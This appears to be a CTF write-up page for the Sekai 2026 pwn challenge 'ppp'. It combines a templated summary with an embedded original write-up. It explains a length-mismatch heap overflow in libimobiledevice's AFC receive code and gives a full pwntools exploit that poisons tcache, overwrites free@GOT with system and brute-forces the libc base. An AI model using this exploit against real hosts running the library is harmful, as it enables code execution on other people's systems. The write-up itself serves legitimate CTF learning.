← Back to Writeups
HTBN/APwn

ppp

XESXOR8/23/20266 min read
#pwn#htb#n/a

ppp

Platform: Sekai2026 | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-06-27 | Status: Solved Techniques: free_to_system, got_overwrite, length_mismatch_overflow, libc_base_guessing, protocol_emulation, tcache_poisoning

Summary

Task: attacker controls the AFC device side for libimobiledevice's afc_list client, exposing a real 0day-style heap overflow from inconsistent AFC lengths. Solution: shape tcache, overflow a freed small chunk, poison malloc to free@GOT, write system, and trigger /readflag via free(command).

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: sekai2026 | ID: 20260627_sekai2026_ppp
  • Tags: heap_overflow, got_overwrite, partial_relro, nx, tcache_poisoning, shstk, ibt, non_pie, libimobiledevice, afc_protocol, zero_day_style
  • Indicators: host-side client talks to attacker-controlled device protocol, AFC header has separate entire_length and this_length fields, malloc(entire_len) followed by receive(this_len) without this_len <= entire_len validation, Partial RELRO leaves free@GOT writable, make_strings_list() allocates token strings and free_list() frees them in reverse order
  • Source: 20260627_sekai2026_ppp.md

Foothold

Vulnerability / Misconfiguration

  1. Free_to_system
  2. Got_overwrite
  3. Length_mismatch_overflow
  4. Libc_base_guessing
  5. Protocol_emulation
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • free_to_system
  • got_overwrite
  • length_mismatch_overflow
  • libc_base_guessing
  • protocol_emulation
  • tcache_poisoning
  • Tags: heap_overflow, got_overwrite, partial_relro, nx, tcache_poisoning, shstk, ibt, non_pie, libimobiledevice, afc_protocol, zero_day_style

Original Writeup

<details><summary>Click to expand original content</summary>

Description

ppp — insert your typical "you might need a 0day for this" description

We are given a pwn challenge with a remote service at:

nc ppp.chals.sekai.team 1337

The provided archive is pwn_ppp.tar.gz, extracted under pwn_ppp/. The interesting binary is afc_list, built from the libimobiledevice stack inside the supplied Docker environment. The challenge gives us the device side of the AFC protocol, while afc_list is the host-side client.

The final exploit abuses a real 0day-style bug in libimobiledevice's AFC receive path. This writeup focuses on the technical issue and the CTF exploit chain.

Analysis

Binary and environment

afc_list is a dynamically linked amd64 ELF with the following relevant properties:

  • non-PIE
  • Partial RELRO
  • stack canary
  • NX
  • SHSTK / IBT

The Dockerfile builds libimobiledevice from commit:

fa0f79190142bc309307967c058f89c1b36eb6b8

and compiles src/afc_list.c. Because we control the device side of the protocol, the attack surface is not command-line parsing in afc_list, but the library code that receives and parses AFC responses from the device.

Vulnerability: AFC length mismatch heap overflow

The bug is in libimobiledevice src/afc.c, in afc_receive_data().

The receive logic reads an AFC header containing both entire_length and this_length. It then computes payload lengths approximately as:

entire_len = (uint32_t)header.entire_length - sizeof(AFCPacket);
this_len   = (uint32_t)header.this_length   - sizeof(AFCPacket);

buf = malloc(entire_len);

if (this_len > 0) {
    service_receive(..., buf, this_len, ...);
}

The missing check is:

this_len <= entire_len

As a malicious device, we can send a header where entire_length is small enough to allocate a small heap buffer, but this_length is larger. The subsequent service_receive() writes this_len bytes into a malloc(entire_len) allocation, producing a heap overflow.

This is especially useful because the target binary is non-PIE and Partial RELRO, so writable GOT entries such as free@GOT are fixed and writable. The exploit uses the overflow only to corrupt tcache metadata, then turns a later strdup() into a write to free@GOT.

Exploitation

1. Shape heap and tcache with devinfo

First, the exploit sends the devinfo command to afc_list and replies with AFC DATA of size 0xf0:

X\0 + padding to 0xf0

This makes the client parse a one-element string list. Internally, make_strings_list() allocates:

  • a 0x20 list chunk
  • a strdup("X") chunk

After the command completes, free_list() frees those chunks. This leaves a useful heap/tcache layout immediately after the previously allocated 0xf0 data chunk.

2. Overflow from a STATUS response into a freed small chunk

Next, the exploit sends:

mkdir /x

and replies with AFC STATUS where:

  • entire_len = 0xf0
  • this_len > 0xf0

The allocation is only 0xf0, but the receive copies more than 0xf0 bytes. The payload begins with status param1 = 0, so the command is considered successful, then fills the 0xf0 data buffer and overflows into the adjacent freed 0x20 chunk metadata.

The overflow writes a fake next chunk header and poisons the tcache fd pointer to:

free@GOT = 0x404070

3. Turn strdup() into a GOT overwrite

A final devinfo command receives two NUL-separated tokens:

  1. The first six non-NUL bytes of system's address
  2. A padded command string: /readflag sekai ppp #...

When make_strings_list() allocates the poisoned 0x20 list entry and then calls strdup() on the first token, the tcache poison makes that strdup() return free@GOT. Copying the six-byte string overwrites free@GOT with system.

Then free_list() frees strings in reverse order. The command string is freed first, but free now points to system, so the program executes:

/readflag sekai ppp

4. Libc address

ASLR was disabled in the jail, but the libc base still had to be guessed. The working values were:

libc base = 0x7ffff7d65000
system    = 0x7ffff7db7290
offset    = 0x52290

The system offset came from the provided libc.

Solve script

#!/usr/bin/env python3
from pwn import *
import struct, sys, time

HOST='ppp.chals.sekai.team'
PORT=1337
MAGIC=b'CFA6LPAA'
HDR=40
OP_STATUS=1
OP_DATA=2
FREE_GOT=0x404070
SYSTEM_OFF=0x52290

context.log_level='error'

def p64(x): return struct.pack('<Q', x)

def recv_req(io):
    h=io.recvn(HDR, timeout=3)
    if len(h)<HDR:
        raise EOFError('no hdr')
    magic, entire, this, num, op = struct.unpack('<8sQQQQ', h)
    if magic != MAGIC:
        raise ValueError(f'bad magic {magic!r}')
    body=b''
    if this>HDR:
        body=io.recvn(this-HDR, timeout=3)
    if entire>this:
        body += io.recvn(entire-this, timeout=3)
    return num, op, body

def send_resp(io, num, op, entire_len, payload):
    this_len=len(payload)
    h=struct.pack('<8sQQQQ', MAGIC, HDR+entire_len, HDR+this_len, num, op)
    io.send(h+payload)

def send_cmd(io, cmd):
    io.recvuntil(b'afc> ', timeout=3)
    io.send(cmd+b'\n')
    return recv_req(io)

def attempt(system_addr, verbose=False):
    io=remote(HOST, PORT, level='error')
    try:
        num,op,body=send_cmd(io,b'devinfo')
        A=0xf0
        data=b'X\0'+b'Y'*(A-2)
        send_resp(io,num,OP_DATA,A,data)
        io.recvuntil(b'afc> ', timeout=3)

        io.send(b'mkdir /x\n')
        num,op,body=recv_req(io)
        payload=p64(0) + b'A'*(A-8)
        payload+=p64(0)+p64(0x21)+p64(FREE_GOT)
        send_resp(io,num,OP_STATUS,A,payload)
        io.recvuntil(b'afc> ', timeout=3)

        io.send(b'devinfo\n')
        num,op,body=recv_req(io)
        sys6=system_addr.to_bytes(8,'little')[:6]
        if b'\0' in sys6:
            raise ValueError('NUL in sys6')
        cmd=b'/readflag sekai ppp #AAAAAAAAAAAAAAA'
        data=sys6+b'\0'+cmd+b'\0'
        send_resp(io,num,OP_DATA,len(data),data)
        out=io.recvall(timeout=2)
        if verbose:
            print(out)
        return out
    except Exception:
        try: io.close()
        except: pass
        return b''

if __name__=='__main__':
    if len(sys.argv)>1:
        bases=[int(x,0) for x in sys.argv[1:]]
    else:
        bases=[]
        for start,end in [(0x7ffff7d00000,0x7ffff7f00000),(0x7ffff7900000,0x7ffff8100000)]:
            bases += list(range(start,end,0x1000))
    seen=set()
    for base in bases:
        if base in seen: continue
        seen.add(base)
        system=base+SYSTEM_OFF
        out=attempt(system)
        if b'SEKAI{' in out or b'flag{' in out or b'CTF{' in out:
            print(out.decode('latin-1','replace'))
            print('base',hex(base),'system',hex(system))
            break
        if out:
            s=out.decode('latin-1','replace')
            if 'not found' in s or 'syntax' in s or 'SEKAI' in s:
                print('cand',hex(base), repr(s[:200]))
        if (base & 0xffff)==0:
            print('tried',hex(base), file=sys.stderr)
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR